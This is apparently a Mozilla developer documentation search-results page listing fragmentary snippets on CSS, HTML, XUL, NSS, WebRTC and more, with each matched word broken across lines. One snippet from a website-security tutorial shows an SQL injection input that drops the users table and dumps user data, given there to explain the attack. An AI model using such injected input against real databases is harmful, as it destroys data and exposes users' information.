review input { color: #333; border: 1px solid #ccc; border-radius: 3px; } #subject { width: 400px; height: 150px; margin: 0 auto; border: 3px solid #c60; background: #ff...
...{ top: 0; right: 0; } #top-right .radius { border-top-right-radius: 100%; top: 0; right: 0; } /* bottom right */ #bottom-right { bottom: 0; right: 0; } #bottom-right .radius { border-bottom-right-radius: 100%; bottom: 0; right: 0; } /* bottom left */ #bottom-left { bottom: 0; left: 0; } #bottom-left .radius { border-bottom-left-radius: 100%; bottom: 0; } /* input sliders */ #p
review .ui-input-slider { margin: 10px; position: absolute; z-index: 10; } #radius-ui-sliders { width: 100%; height: 100%; min-height: 75px; min-width: 150px; padding: 20px 50px; top: -20px; left: -50px; position: relative; } #tlr { top: -30px; left: -50px; display: none; } #tlw { top: -30px; left: 30px; } #tlh { top: 20px; left: -50px; } #trr { top: -30px; right: -50px; dis...
...And 7 more matches
Box-shadow generator - CSS: Cascading Style Sheets
iner"> <div class="group section"> <div id="layer_manager"> <div class="group section"> <div class="button" data-type="add"> </div> <div class="button" data-type="move-up"> </div> <div class="button" data-type="move-down"> </div> </div> <div id="stack_container"></div> </div> <div id="p
review_zone"> <div id="layer_menu" class="col span_12"> <div class="button" id="element" data-type="subject" data-title="element"> element </div> <div class="button" id="before" data-type="subject" data-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <di...
...s="button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic='after' data-label=":after"></div> </div> <div id="p
review"> <div id="obj-element"> <div class="content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div> </div> </div> </div> <div id="controls" class="group section"> <div class="wrap-left"> <div class="colorpicker category"> ...
...iv> <div class="info"> <div class="input" data-topic="r" data-title='r:' data-action="rgb"></div> <div class="input" data-topic="g" data-title='g:' data-action="rgb"></div> <div class="input" data-topic="b" data-title='b:' data-action="rgb"></div> </div> <div class="p
review block"> <div id="output_color"> </div> </div> <div class="block info"> <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div> <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div> </div> </div> ...
...And 7 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
reverse the display of the items the flex-direction property can take one of four values: row column row-
reverse column-
reverse the first two values keep the items in the same order that they appear in the document source order and display them sequentially from the start line.
... the second two values
reverse the items by switching the start and end lines.
...the row-related examples above demonstrate how row and row-
reverse work in a left-to-right language such as english.
...And 7 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
that prefcalls.js is now archive in omni.jar file located at the root of the mozilla apps installation, example of tb5: # jar -tvf /usr/lib/thunderbird/omni.jar | grep prefcalls.js 7499 sat nov 05 09:21:34 cet 2011 defaults/autoconfig/prefcalls.js traditionally (p
revious apps versions) is was in mozilla_home/default/autoconfig/prefcalls.js.
...// pref("general.config.obscure_value", 0); // for mcd .cfg files pref('general.config.filename', 'thunderbird.cfg'); // for mcd .cfg files it used to be in p
revious releases (up until 7.0) in /usr/lib/thunderbird-x.0/default/pref/autoconf.js the first pref just tells us that we won't encode the file (no more rotary 13 or 7 cf below), the second pref is the name of the file to be read: /usr/lib/thunderbird/thunderbird.cfg.
...to process ldap results before we make the call function processldapvalues(queryresults) { if( queryresults ) { // build the userinfo object for later use for( var attr in ldapattrs ) { userinfo[ ldapattrs[attr] ] = getldapvalue( queryresults, ldapattrs[attr] ); } } else { throw( "no ldap results" ); } } // call upon ldap for the values in ldapattrs array, // uses the p
revious processldapvalues() getldapattributes( ldaphost, ldapbase, ldapfilter, ldapattrs.join(",") ); // create account // see also http://blog.deanandadie.net/2010/06/easy-thunderbird-account-management-using-mcd/ // identity defaultpref("mail.identity.id1.fullname", userinfo.cn ); defaultpref("mail.identity.id1.smtpserver", "smtp1" ); defaultpref("mail.identity.id1.useremail", userinfo.mail ); //...
...And 6 more matches
Getting Started - Archive of obsolete content
remember if at any point you wish to
revert back to the original code again, just extract this jar over top of what you've modified.
...skin info when switching skins in mozilla, it displays a p
review image and some information about the theme.
...place it in \myskin and call it p
review.png (if it's a jpg or gif call it p
review.jpg or p
review.gif).
...And 6 more matches
XUL Events - Archive of obsolete content
any p
reviously attached listeners are disconnected.
...the default action of the event can be p
revented to p
revent the popup to appear.popupshownthe popupshown event is executed when a <menupopup>, <panel> or <tooltip> has become visible.radiostatechangethe radiostatechange event is executed when the state of a <radio> element has changed.valuechangethe valuechange event is executed when the value of an element, <progress> for example, has changed.
...the focus can be changed by clicking on another element, by pressing tab to switch to the next element in the tab order sequence, or by pressing 'back tab' to switch focus to the p
revious element in the tab order.
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
p
revious overview: accessibility next a great deal of web content can be made accessible just by making sure the correct hypertext markup language elements are used for the correct purpose at all times.
... you can jump to the next/p
revious heading in many screen readers.
... expand abb
reviations — instead of writing jan, write january.
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
p
revious overview: accessibility next a great deal of web content can be made accessible just by making sure the correct hypertext markup language elements are used for the correct purpose at all times.
... you can jump to the next/p
revious heading in many screen readers.
... expand abb
reviations — instead of writing jan, write january.
...And 6 more matches
HTML text fundamentals - Learn web development
p
revious overview: introduction to html next one of html's main jobs is to give text structure and meaning (also known as semantics) so that a browser can display it correctly.
...statistician and my name is trish.</p>\n<p>my legs are made of cardboard and i am married to a fish.</p>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caret...
... semantics are relied on everywhere around us—we rely on p
revious experience to tell us what the function of an everyday object is; when we see something, we know what its function will be.
...And 6 more matches
From object to iframe — other embedding technologies - Learn web development
p
revious overview: multimedia and embedding next by now you should really be getting the hang of embedding things into your web pages, including images, video and audio.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html) and the p
revious articles in this module.
...k!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>'; let solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...And 6 more matches
Introducing asynchronous JavaScript - Learn web development
p
revious overview: asynchronous next in this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems.
...this section recaps some of the information we saw in the p
revious article.
... a lot of the functionality we have looked at in p
revious learning area modules is synchronous — you run some code, and the result is returned as soon as the browser can do so.
...And 6 more matches
Introduction to events - Learn web development
p
revious overview: building blocks next events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired.
...in this section, we
review the various mechanisms and discuss which ones you should use.
...first, there is a counterpart function, removeeventlistener(), which removes a p
reviously added listener.
...And 6 more matches
Third-party APIs - Learn web development
p
revious overview: client-side web apis next the apis we've covered so far are built into the browser, but not all apis are.
...the easiest action would be to just
revoke their api privileges.
...'; replace the existing api key with the actual api key you got in the p
revious section.
...And 6 more matches
Website security - Learn web development
p
revious overview: first steps website security requires vigilance in all aspects of website design and usage.
... the purpose of website security is to p
revent these (or any) sorts of attacks.
... select * from users where name = 'a';drop table users; select * from userinfo where 't' = 't'; the modified statement creates a valid sql statement that deletes the users table and selects all data from the userinfo table (which
reveals the information of every user).
...And 6 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
p
revious overview: client-side javascript frameworks next we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app.
...go back to app.vue and add the following import statement just below the p
revious one, inside your <script> element: import todoform from './components/todoform'; you also need to register the new component in your app component — update the components property of the component object so that it looks like this: components: { todoitem, todoform } finally for this section, render your todoform component inside your app by adding the <to-do-form /> el...
...to p
revent the browser from posting to the server, we need to stop the event’s default action from bubbling up through the page (event.p
reventdefault(), in vanilla javascript).
...And 6 more matches
HTTP Cache
this can only be engaged for resumable responses that (bug 960902) don't need
revalidation.
... the consumer then indicates the cache entry needs to be
revalidated by returning entry_needs_
revalidation from oncacheentrycheck.
... lifetime of an existing entry that doesn't pass server
revalidation such a cache entry is first examined in the nsicacheentryopencallback.oncacheentrycheck callback, where the consumer finds out it must be
revalidated with the server before use.
...And 6 more matches
Localizing with Koala
revision: leave empty.
...3099 changesets with 158636 changes to 50664 files (+9 heads) updating working directory 40357 files updated, 0 files merged, 0 files removed, 0 files unresolved configure the locale locale id: x-testing (put your locale's code) version: 3.6 location: choose the folder where you want to keep the localized files or leave empty for now check "mercurial" if you wish to use mercurial to keep the
revision history of your files (very recommended) existing localizations: url: if you're editing an existing localization or you already have a repository set up (either on hg.mozilla.org or bitbucket), type the url of the remote repository, e.g.
...
revision: leave empty.
...And 6 more matches
NSS tools : crlutil
please contribute to the initial
review in mozilla nss bug 836477[1] description the certificate
revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or
revocation.
... this document discusses certificate
revocation list management.
...And 6 more matches
nsISessionStore
ean aoverwrite); void setwindowvalue(in nsidomwindow awindow, in astring akey, in astring astringvalue); nsidomnode undoclosetab(in nsidomwindow awindow, in unsigned long aindex); nsidomwindow undoclosewindow(in unsigned long aindex); attributes attribute type description canrestorelastsession boolean is it possible to restore the p
revious session.
... return value the string value that was p
reviously assigned to akey using nsisessionstore.settabvalue(), or an empty string if no value is set for that key.
... if the p
reviously saved value was originally a complex data (ie a javascript object) it can then be deserialized using json.parse cf.
...And 6 more matches
Debugger.Object - Firefox Developer Tools
isproxy if the referent is a (scripted) proxy, either
revoked or not, return true.
... proxytarget if the referent is a non-
revoked (scripted) proxy, return a debugger.object instance referring to the ecmascript [[proxytarget]] of the referent.
... if the referent is a
revoked (scripted) proxy, return null.
...And 6 more matches
Debugger.Object - Firefox Developer Tools
setproperty(name,value) sto
revalue as the value of the referent's property namedname, creating the property if it does not exist.name must be a string;value must be a debuggee value.
... seal() p
revent properties from being added to or deleted from the referent.
...(this function behaves like the standard object.seal function, except that the object to be sealed is implicit and in a different compartment from the caller.) freeze() p
revent properties from being added to or deleted from the referent, and mark each property as non-writable.
...And 6 more matches
Recording a media element - Web APIs
<div class="left"> <div id="startbutton" class="button"> start </div> <h2>p
review</h2> <video id="p
review" width="160" height="120" autoplay muted></video> </div> we present our main interface in two columns.
... on the left is a start button and a <video> element which displays the video p
review; this is the video the user's camera sees.
... let p
review = document.getelementbyid("p
review"); let recording = document.getelementbyid("recording"); let startbutton = document.getelementbyid("startbutton"); let stopbutton = document.getelementbyid("stopbutton"); let downloadbutton = document.getelementbyid("downloadbutton"); let logelement = document.getelementbyid("log"); let recordingtimems = 5000; most of these are references to elements we ne...
...And 6 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
this was due to a small number of issues with the api and some potential race conditions that needed to be p
revented.
... perfect negotiation works by assigning each of the two peers a role to play in the negotiation process that's entirely separate from the webrtc connection state: a polite peer, which uses ice rollback to p
revent collisions with incoming offers.
...on(); signaler.send({ description: pc.localdescription }); } catch(err) { console.error(err); } finally { makingoffer = false; } }; we set makingoffer immediately before calling setlocaldescription() in order to lock against interfering with sending this offer, and we don't clear it back to false until the offer has been sent to the signaling server (or an error has occurred, p
reventing the offer from being made).
...And 6 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
the main axis the main axis is defined by flex-direction, which has four possible values: row row-
reverse column column-
reverse should you choose row or row-
reverse, your main axis will run along the row in the inline direction.
... choose column or column-
reverse and your main axis will run from the top of the page to the bottom — in the block direction.
... the cross axis the cross axis runs perpendicular to the main axis, therefore if your flex-direction (main axis) is set to row or row-
reverse the cross axis runs down the columns.
...And 6 more matches
flex-direction - CSS: Cascading Style Sheets
the flex-direction css property sets how flex items are placed in the flex container defining the main axis and the direction (normal or
reversed).
... note that the values row and row-
reverse are affected by the directionality of the flex container.
... if its dir attribute is ltr, row represents the horizontal axis oriented from the left to the right, and row-
reverse from the right to the left; if the dir attribute is rtl, row represents the axis oriented from the right to the left, and row-
reverse from the left to the right.
...And 6 more matches
Index - HTTP
30 csp: block-all-mixed-content csp, directive, http, mixed content, reference, security the http content-security-policy (csp) block-all-mixed-content directive p
revents loading any assets using http when the page is loaded using https.
...it applies restrictions to a page's actions including p
reventing popups, p
reventing the execution of plugins and scripts, and enforcing a same-origin policy.
... 54 cookie cookies, http, reference, header, request the cookie http request header contains stored http cookies p
reviously sent by the server with the set-cookie header.
...And 6 more matches
Special Condition Tests - Archive of obsolete content
« p
reviousnext » there are several additional types of conditional tests that may be performed.
...for inner iterations, it will be the element with the uri attribute from the p
revious iteration.
... here is a p
revious example, rewritten to use the parent matching syntax: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <rule parent="vbox"> <action> <groupbox uri="?"> <caption label="?name"/> </groupbox> </action> </rule> <rule> <action> <label uri="?" value="?name"/> </action> </rule> </template> </vbox> p
reviously, an assign element was used to assign the tagname of the result to a variable, which was then compared in a rule condition.
...And 5 more matches
Table Reflow Internals - Archive of obsolete content
overview
review of reflow table frames table reflow intro to paginated reflow table paginated reflow
review of reflow reflow process starts when an html document starts loading (the frame tree contains only viewport, scroll(s), canvas, html, body).
...
review of reflow reflow starts with pres shell which reflows the reflow root (usually the viewport frame), which reflows it children, etc.
...absolutely positioned elements) reflows reflowee and passes a reflow state (in) and a reflow metrics (in/out)
review of reflow the reflow state: is a node in a tree structurally equivalent to the frame tree of reflow participants contains: reflow type, avail size, various computed values, resolved style structs possible request for preferred size and more.
...And 5 more matches
Building up a basic demo with Babylon.js - Game development
let's create a scene by adding the following lines just below our p
revious code: var scene = new babylon.scene(engine); scene.clearcolor = new babylon.color3(0.8, 0.8, 0.8); thus, the scene is created and the second line sets the background color to light gray.
...add the following line below your camera definition: var light = new babylon.pointlight("light", new babylon.vector3(10, 10, 0), scene); the parameters are very similar to the p
reviously defined camera: the name of the light, a position in 3d space and the scene to which the light is added.
...let's start by defining the geometry for a box shape — add the following new code below your p
revious additions: var box = babylon.mesh.createbox("box", 2, scene); a mesh is a way the engine creates geometric shapes, so material can be easily applied to them later on.
...And 5 more matches
Building up a basic demo with Three.js - Game development
let's create it, by adding the following line below our p
revious lines: var scene = new three.scene(); later, we will be using the .add() method, to add objects to this scene.
...the following lines put the camera in place in the 3d coordinate system, and point it in the direction of our scene, so we can finally see something: var camera = new three.perspectivecamera(70, width/height); camera.position.z = 50; scene.add(camera); add the above lines to your code, below those p
reviously added.
... again, add this new code below your p
revious additions.
...And 5 more matches
CSS and JavaScript accessibility best practices - Learn web development
p
revious overview: accessibility next css and javascript, when used properly, also have the potential to allow for accessible web experiences ...
... abb
reviations an element that allows an abb
reviation, acronym, or initialization to be associated with its expansion: <p>web content is marked up using <abbr title="hypertext markup language">html</abbr>.</p> again, you might want to style it in some simple way: abbr { color: #a60000; } the recognised styling convention for abb
reviations is a dotted underline, and it is unwise to significantly de...
...for more on abb
reviations, see abb
reviations.
...And 5 more matches
How to build custom form controls - Learn web development
finally, let's define how the control's options will behave: when the control is opened, the selected option is highlighted when the mouse is over an option, the option is highlighted and the p
reviously highlighted option is returned to its normal state for the purposes of our example, we'll stop with that; however, if you're a careful reader, you'll notice that some behaviors are missing.
... as seen p
reviously, we already use a native select control as a fallback for accessibility reasons; we can simply synchronize its value with that of our custom control: // this function updates the displayed value and synchronizes it with the native control.
... // it takes two parameters: // select : the dom node with the class `select` containing the value to update // index : the index of the value to be selected function updatevalue(select, index) { // we need to get the native control for the given custom control // in our example, that native control is a sibling of the custom control var nativewidget = select.p
reviouselementsibling; // we also need to get the value placeholder of our custom control var value = select.queryselector('.value'); // and we need the whole list of options var optionlist = select.queryselectorall('.option'); // we set the selected index to the index of our choice nativewidget.selectedindex = index; // we update the value placeholder accordingly value.innerhtml = optionlist[index].innerhtml...
...And 5 more matches
UI pseudo-classes - Learn web development
p
revious overview: forms next in the p
revious articles, we covered the styling of various form controls, in a general manner.
... using generated content with pseudo-classes in p
revious articles, we've seen the usage of generated content, but we thought now would be a good time to talk about it in a bit more detail.
... as in the p
revious example, we've got extra <span>s to generate content on, which we'll use to provide indicators of valid/invalid data: <div> <label for="fname">first name *: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> to provide these indicators, we use the following css: input + span { position: relative; } input + span::before { position: absolute; righ...
...And 5 more matches
Advanced text formatting - Learn web development
p
revious overview: introduction to html next there are many other elements in html for formatting text, which we didn't get to in the html text fundamentals article.
... <dd>the drink that gets the world running in the morning.</dd>\n <dd>a light brown color.</dd>\n</dl>'; const solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...p://www.affirmationsforpositivethinking.com"><cite>affirmations for positive thinking</cite></a>.)</p>'; const solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...And 5 more matches
Getting started with HTML - Learn web development
anatomy of an html element let's further explore our paragraph element from the p
revious section: the anatomy of our element is: the opening tag: this consists of the name of the element (in this example, p for paragraph), wrapped in opening and closing angle brackets.
...solution.value = 'show solution'; } updatecode(); }); var htmlsolution = '<em>this is my text.</em>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caret...
...one reason html5 dropped these terms was to p
revent this rather common confusion.
...And 5 more matches
Video and Audio APIs - Learn web development
p
revious overview: client-side web apis next html5 comes with elements for embedding rich media in documents — <video> and <audio> — which in turn come with their own apis for controlling playback, seeking, etc.
...here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can
review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls.
...add the following addeventlistener() lines below the p
revious one you added: stop.addeventlistener('click', stopmedia); media.addeventlistener('ended', stopmedia); the click event is obvious — we want to stop the video by running our stopmedia() function when the stop button is clicked.
...And 5 more matches
Arrays - Learn web development
p
revious overview: first steps next in the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name.
... as in p
revious articles, let's learn about the real basics of arrays by entering some examples into browser developer console.
...for example, to access one of the items inside the array that is the third item inside the random array (see p
revious section), we could do something like this: random[2][2]; try making some more modifications to your array examples before moving on.
...And 5 more matches
React interactivity: Events and state - Learn web development
p
revious overview: client-side javascript frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things.
...this function should p
revent the default behavior of the submit event.
...it should end up looking something like this: function handlesubmit(e) { e.p
reventdefault(); alert('hello, world!'); } to use this function, add an onsubmit attribute to the <form> element, and set its value to the handlesubmit function: <form onsubmit={handlesubmit}> now if you head back to your browser and click on the "add" button, your browser will show you an alert dialog with the words "hello, world!" — or whatever you chose to write there.
...And 5 more matches
Componentizing our Svelte app - Learn web development
p
revious overview: client-side javascript frameworks next in the last article we started developing our todo list app.
... we will just declare the onclick prop assigning a dummy handler to p
revent errors, like this: export let onclick = (clicked) => {} and we'll declare the following reactive statement — $: onclick(filter) — to call the onclick handler whenever the filter variable is updated.
... easier two-way data binding with the bind directive in the p
revious example we realized that our filterbutton component wasn't working because our application state was flowing down from parent to child through the filter prop — but it wasn't going back up.
...And 5 more matches
NSS_3.12_release_notes.html
on (see cert.h) cert_encodesubjectkeyid (see certdb/cert.h) cert_encodeusernotice (see cert.h) cert_findcrlentryreasonexten (see cert.h) cert_findcrlnumberexten (see cert.h) cert_findnameconstraintsexten (see cert.h) cert_getclassicocspdisabledpolicy (see cert.h) cert_getclassicocspenabledhardfailurepolicy (see cert.h) cert_getclassicocspenabledsoftfailurepolicy (see cert.h) cert_getpkixverifynist
revocationpolicy (see cert.h) cert_getusepkixforvalidation (see cert.h) cert_getvaliddnspatternsfromcert (see cert.h) cert_newtempcertificate (see cert.h) cert_setocsptimeout (see certhigh/ocsp.h) cert_setusepkixforvalidation (see cert.h) cert_pkixverifycert (see cert.h) hash_gettype (see sechash.h) nss_initwithmerge (see nss.h) pk11_createmergelog (see pk11pub.h) pk11_creategenericobject (see pk11pu...
... (see cryptohi.h) vfy_verifydigestdirect (see cryptohi.h) vfy_verifydigestwithalgorithmid (see cryptohi.h) new macros for camellia support (see blapit.h): nss_camellia nss_camellia_cbc camellia_block_size new macros for rsa (see blapit.h): rsa_max_modulus_bits rsa_max_exponent_bits new macros in certt.h: x.509 v3 ku_encipher_only cert_max_serial_number_bytes cert_max_dn_bytes pkix cert_
rev_m_do_not_test_using_this_method cert_
rev_m_test_using_this_method cert_
rev_m_allow_network_fetching cert_
rev_m_forbid_network_fetching cert_
rev_m_allow_implicit_default_source cert_
rev_m_ignore_implicit_default_source cert_
rev_m_skip_test_on_missing_source cert_
rev_m_require_info_on_missing_source cert_
rev_m_ignore_missing_fresh_info cert_
rev_m_fail_on_missing_fresh_info cert_
rev_m_stop_testing_o...
...n_fresh_info cert_
rev_m_continue_testing_on_fresh_info cert_
rev_mi_test_each_method_separately cert_
rev_mi_test_all_local_information_first cert_
rev_mi_no_overall_info_requirement cert_
rev_mi_require_some_fresh_info_available cert_policy_flag_no_mapping cert_policy_flag_explicit cert_policy_flag_no_any cert_enable_ldap_fetch cert_enable_http_fetch new macro in utilrename.h: smime_aes_cbc_128 the nssckbi pkcs #11 module's version changed to 1.70.
...And 5 more matches
Finishing the Component
« p
reviousnext » at this point you have created most of the infrastructure of the component.
...this can p
revent many errors like this.
...at the time this book was written, this interface was under
review.
...And 5 more matches
Starting WebLock
« p
reviousnext » in this chapter, we begin to design and implement the web locking functionality itself.
...you can then use the service manager to add the component to the category: nsresult rv; nscomptr<nsiservicemanager> servman = do_queryinterface((nsisupports*)acompmgr, &rv); if (ns_failed(rv)) return rv; do_queryinterface the p
revious code uses the special nscomptr function do_queryinterface that lets you queryinterface without having to worry about reference counting, error handling, and other overhead.
... in short, to register the weblock component as an xpcom-startup observer, do the following: char* p
revious = nsnull; rv = catman->addcategoryentry("xpcom-startup", "weblock", weblock_contractid, pr_true, // persist category pr_true, // replace existing &p
revious); if (p
revious) nsmemory::free(p
revious); // free the memory the replaced value might...
...And 5 more matches
nsIMsgFolder
e, in boolean newvalue); void notifypropertyflagchanged(in nsimsgdbhdr item, in nsiatom property, in unsigned long oldvalue, in unsigned long newvalue); void notifyunicharpropertychanged(in nsiatom property, in astring oldvalue, in astring newvalue); void notifyitemadded(in nsisupports item); void notifyitemremoved(in nsisupports item); void notifyfolde
revent(in nsiatom event); void listdescendents(in nsisupportsarray descendents); void shutdown(in boolean shutdownchildren); void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); void copydatatooutputstreamforappend(in nsiinputstream aistream, in long alength, in nsioutputstream outputstream); void copydatadone(); ...
... void setjunkscoreformessages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgp
reviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long anumkeys, in boolean alocalonly, in nsiurllistener aurllistener); void addkeywordstomessages(in nsisupportsarray amessages, in acstring akeywords); void removekeywordsfrommessages(in nsisupportsarray amessages, in acstring akeywords); autf8string getmsgtextfromstream(in nsimsgdbhdr amsghdr, in nsiinputstream astream, in long abytestoread, in long amaxoutputlen, in boolean acompressquotes); attributes attribute type description supportsoffline boolean readonly offlinestoreoutputstream nsi...
... abb
reviatedname astring readonly: old nsifolder properties and methods.
...And 5 more matches
CustomEvent - Web APIs
setting its value to true before returning from an event handler p
revents propagation of the event.
... event.defaultp
revented read only indicates whether or not the call to event.p
reventdefault() canceled the event.
...ideally, you should try to use event.p
reventdefault() and event.defaultp
revented instead, but you can use returnvalue if you choose to do so.
...And 5 more matches
Pointer events - Web APIs
in fact, the pointe
revent interface inherits all of the mouseevent properties, thus facilitating the migration of content from mouse events to pointer events.
... interfaces the primary interface is the pointe
revent interface which has a constructor plus several event types and associated global event handlers.
... pointe
revent interface the pointe
revent interface extends the mouseevent interface and has the following properties.
...And 5 more matches
Accessibility documentation index - Accessibility
found 105 pages: # page tags and summary 1 accessibility accessibility, landing accessibility (often abb
reviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
...an editorial comment related to a part of a document under
review).
... 40 x-ms-aria-flowfrom aria, microsoft, non-standard the x-ms-aria-flowfrom property specifies the id of the p
revious element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order.
...And 5 more matches
animation-direction - CSS: Cascading Style Sheets
syntax /* single animation */ animation-direction: normal; animation-direction:
reverse; animation-direction: alternate; animation-direction: alternate-
reverse; /* multiple animations */ animation-direction: normal,
reverse; animation-direction: alternate,
reverse, normal; /* global values */ animation-direction: inherit; animation-direction: initial; animation-direction: unset; values normal the animation plays forwards each cycle.
...
reverse the animation plays backwards each cycle.
...animation steps are performed backwards, and timing functions are also
reversed.
...And 5 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
if you encounter problems with the favicon not loading, verify that the content-security-policy header's img-src directive is not p
reventing access to it.
...without sending the origin http header), p
reventing its non-tainted usage.
...
rev the value of this attribute shows the relationship of the current document to the linked document, as defined by the href attribute.
...And 5 more matches
d - SVG: Scalable Vector Graphics
the start control point is a reflection of the end control point of the p
revious curve command.
... if the p
revious command wasn't a cubic bézier curve, the start control point is the same as the curve starting point (current point).
...the start control point is a reflection of the end control point of the p
revious curve command.
...And 5 more matches
Paths - SVG: Scalable Vector Graphics
« p
reviousnext » the <path> element is the most powerful element in the svg library of basic shapes.
... l x y (or) l dx dy there are two abb
reviated forms for drawing horizontal and vertical lines.
... s x2 y2, x y (or) s dx2 dy2, dx dy s produces the same type of curve as earlier—but if it follows another s command or a c command, the first control point is assumed to be a reflection of the one used p
reviously.
...And 5 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
« p
reviousnext » adding a new toolbar adding new toolbars to firefox is easy, but adding them the wrong way is very easy as well.
...the way icons are handled in firefox changed considerably after firefox 4, so supporting older versions is not mentioned here (you can check this document's change history for older
revisions, though).
... windows: /* the second and third selectors at the bottom are necessary to p
revent conflicts with installed themes.
...And 4 more matches
Editor Embedding Guide - Archive of obsolete content
cmd_abbr toggles abb
reviation on selection.
... cmd_selectlinep
revious scrolls relative to the current selection end point.
... cmd_selectcharp
revious scrolls relative to the current selection end point.
...And 4 more matches
Box Objects - Archive of obsolete content
« p
reviousnext » this section describes the box object, which holds display and layout related information about a xul box as well as some details about xul layout.
...the box object provides several properties, firstchild, lastchild, nextsibling, p
revioussibling, and parentbox.
...there is no corresponding childnodes property for box navigation; instead you must navigate by sibling using the nextsibling or p
revioussibling properties.
...And 4 more matches
Archived Mozilla and build documentation - Archive of obsolete content
exception logging in javascript technical
review completed.
... helper apps (and a bit of save as) hidden prefs this page has been flagged by editors or users as needing technical
review.
... until it is fully
reviewed, it may contain inaccurate or incorrect information.
...And 4 more matches
Create Your Own Firefox Background Theme - Archive of obsolete content
firefox may
reveal more of the lower portion of the image if another toolbar or other ui element is added to the top of the window.
... the upper right-hand side of the image should have the most important information—as a user increases the width of the browser window, the browser
reveals more of the left-hand side of the image.
... firefox may
reveal more of the upper portion of the image if the find bar is open or if an extension adds more height to the bottom of the window.
...And 4 more matches
Advanced form styling - Learn web development
p
revious overview: forms next in this article, we will see what can be done with css to style the types of form control that are more difficult to style — the "bad" and "ugly" categories.
... as we saw in the p
revious article, text fields and buttons are perfectly easy to style; now we will dig into styling the bits that are more problematic.
... to recap what we said in the p
revious article, we have: the bad: some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="search"> the ugly: some elements can't be styled thoroughly using css.
...And 4 more matches
How to structure a web form - Learn web development
p
